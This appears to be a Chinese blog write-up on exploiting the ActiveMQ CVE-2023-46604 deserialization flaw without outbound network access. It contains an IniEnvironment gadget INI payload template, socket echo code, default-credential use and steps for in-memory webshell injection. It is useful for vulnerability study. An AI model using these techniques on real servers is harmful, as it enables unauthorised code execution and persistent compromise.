最近看到一个不出网的技巧,学习一下

影响版本:

  • Apache ActiveMQ 5.18.0 before 5.18.3
  • Apache ActiveMQ 5.17.0 before 5.17.6
  • Apache ActiveMQ 5.16.0 before 5.16.7
  • Apache ActiveMQ before 5.15.16

环境搭建:https://github.com/vulhub/vulhub/tree/master/activemq/CVE-2023-46604

默认端口 默认条件
8161 web 需配置才可远程访问
61616 tcp 远程访问

漏洞出现在61616端口中

源码下载:https://www.apache.org/dyn/closer.cgi?filename=/activemq/5.17.3/activemq-parent-5.17.3-source-release.zip&action=download

漏洞触发点在org.apache.activemq.openwire.v12.BaseDataStreamMarshaller#createThrowable

需要存在public构造方法,且该构造方法只有一个String类型的参数

不出网利用

codeql构建数据库(注意JDK版本)

1
codeql database create activemq-database --language="java" --command="mvn clean install -Dmaven.test.skip=true --file pom.xml"

进行搜索

1
2
3
4
5
6
7
8
9
import java

from Constructor c
where c.getDeclaringType().getAMethod().isPublic()
and c.getNumberOfParameters() = 1
and c.getParameter(0).getType().getName() = "String"
and c.fromSource()
and c.getName() != ""
select c

直接给出结论:

1
org.apache.activemq.shiro.env.IniEnvironment

IniEnvironment

看到该构造方法

1
2
3
4
5
6
public IniEnvironment(String iniConfig) {
Ini ini = new Ini();
ini.load(iniConfig);
this.ini = ini;
init();
}

通过org.apache.shiro.config.Ini来实例化一个ini配置并进行初始化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
@Override
public void init() throws ShiroException {
//this.environment and this.securityManager are null. Try Ini config:
Ini ini = this.ini;
if (ini != null) {
apply(ini);
}

if (this.objects.isEmpty() && this.iniConfig != null) {
ini = new Ini();
ini.load(this.iniConfig);
apply(ini);
}
...
}

protected void apply(Ini ini) {
if (ini != null && !ini.isEmpty()) {
Map<String, ?> objects = createObjects(ini);
this.ini = ini;
this.objects.clear();
this.objects.putAll(objects);
}
}

private Map<String, ?> createObjects(Ini ini) {
IniSecurityManagerFactory factory = new IniSecurityManagerFactory(ini) {

@Override
protected SecurityManager createDefaultInstance() {
return new DefaultActiveMqSecurityManager();
}

@Override
protected Realm createRealm(Ini ini) {
IniRealm realm = (IniRealm)super.createRealm(ini);
realm.setPermissionResolver(new ActiveMQPermissionResolver());
return realm;
}
};
factory.getInstance(); //trigger beans creation
return factory.getBeans();
}

它会从 INI 配置中构建 SecurityManager

看到:https://shiro.apache.org/configuration.html

[main]配置下首先会Defining an object,然后Setting object properties

通过Apache Commons BeanUtils类,支持调用任意的getter/setter方法

并且支持Base64以及Hex编码

ActiveMQObjectMessage

org.apache.activemq.command.ActiveMQObjectMessage#getObject()

是一个反序列化操作

由于环境自带commons-beanutils-1.9.4.jar,直接打cb链即可

1
2
3
4
5
6
7
8
9
[main]
byteSequence = org.apache.activemq.util.ByteSequence
byteSequence.data = ***
byteSequence.offset = 0
byteSequence.length = ***
activeMQObjectMessage = org.apache.activemq.command.ActiveMQObjectMessage
activeMQObjectMessage.content = $byteSequence
activeMQObjectMessage.trustAllPackages = true
activeMQObjectMessage.object.a = x

成功RCE

内存马注入

ActiveMQ一般路径下是不解析jsp文件的,要想上传webshell则需要放在admin目录下,并且需要身份验证

看到:https://github.com/Hutt0n0/ActiveMqRCE,已经实现了内存马功能,简单看下

由于ActiveMQ使用的中间件是Jetty,遍历线程即可

1
2
3
4
5
6
TargetObject = {java.lang.Thread} 
---> group = {java.lang.ThreadGroup}
---> threads = {class [Ljava.lang.Thread;}
---> [33] = {java.lang.Thread}
---> contextClassLoader = {org.eclipse.jetty.webapp.WebAppClassLoader}
---> _context = {org.eclipse.jetty.webapp.WebAppContext}

我们也可以直接使用JMG生成,需要添加协议头(身份认证):

1
Authorization: Basic YWRtaW46YWRtaW4=

缺点:需要攻击者能够访问admin路由

而ActiveMQ的账号密码存储在conf/jetty-realm.properties文件中

默认的两个账号:admin/admin、user/user

后续看到项目:https://github.com/Arlenhiack/ActiveMQ-RCE-Exploit,支持了回显利用

使用的是TransportListener的onCommand处理命令

最后将结果输出在Socket中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
try {
java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream();
java.io.DataOutput dataOutput = new java.io.DataOutputStream(baos);
dataOutput.writeInt(0);
dataOutput.writeByte(14);
org.apache.activemq.openwire.BooleanStream bs = new org.apache.activemq.openwire.BooleanStream();
bs.writeBoolean(true);
bs.writeBoolean(true);
bs.writeBoolean(true);
bs.writeBoolean(false);
bs.writeBoolean(true);
bs.writeBoolean(false);
bs.marshal(dataOutput);
dataOutput.writeUTF("bb");
dataOutput.writeUTF(result);

Thread thread = Thread.currentThread();
Class aClass = Class.forName("java.lang.Thread");
java.lang.reflect.Field target = aClass.getDeclaredField("target");
target.setAccessible(true);
org.apache.activemq.transport.tcp.TcpTransport transport = (org.apache.activemq.transport.tcp.TcpTransport)target.get(thread);
Class aClass1 = Class.forName("org.apache.activemq.transport.tcp.TcpTransport");
java.lang.reflect.Field socketfield = aClass1.getDeclaredField("socket");
socketfield.setAccessible(true);
java.net.Socket socket = (java.net.Socket)socketfield.get(transport);
java.io.OutputStream outputStream = socket.getOutputStream();
outputStream.write(baos.toByteArray());
} catch (Exception e) {
}

实现回显

那么思路就很清晰了,回显读取账号密码->打入内存马

参考:
https://github.com/CTFCON/slides/blob/main/2024/Make%20ActiveMQ%20Attack%20Authoritative.pdf
CVE-2023-46604 ActiveMQ RCE不出网利用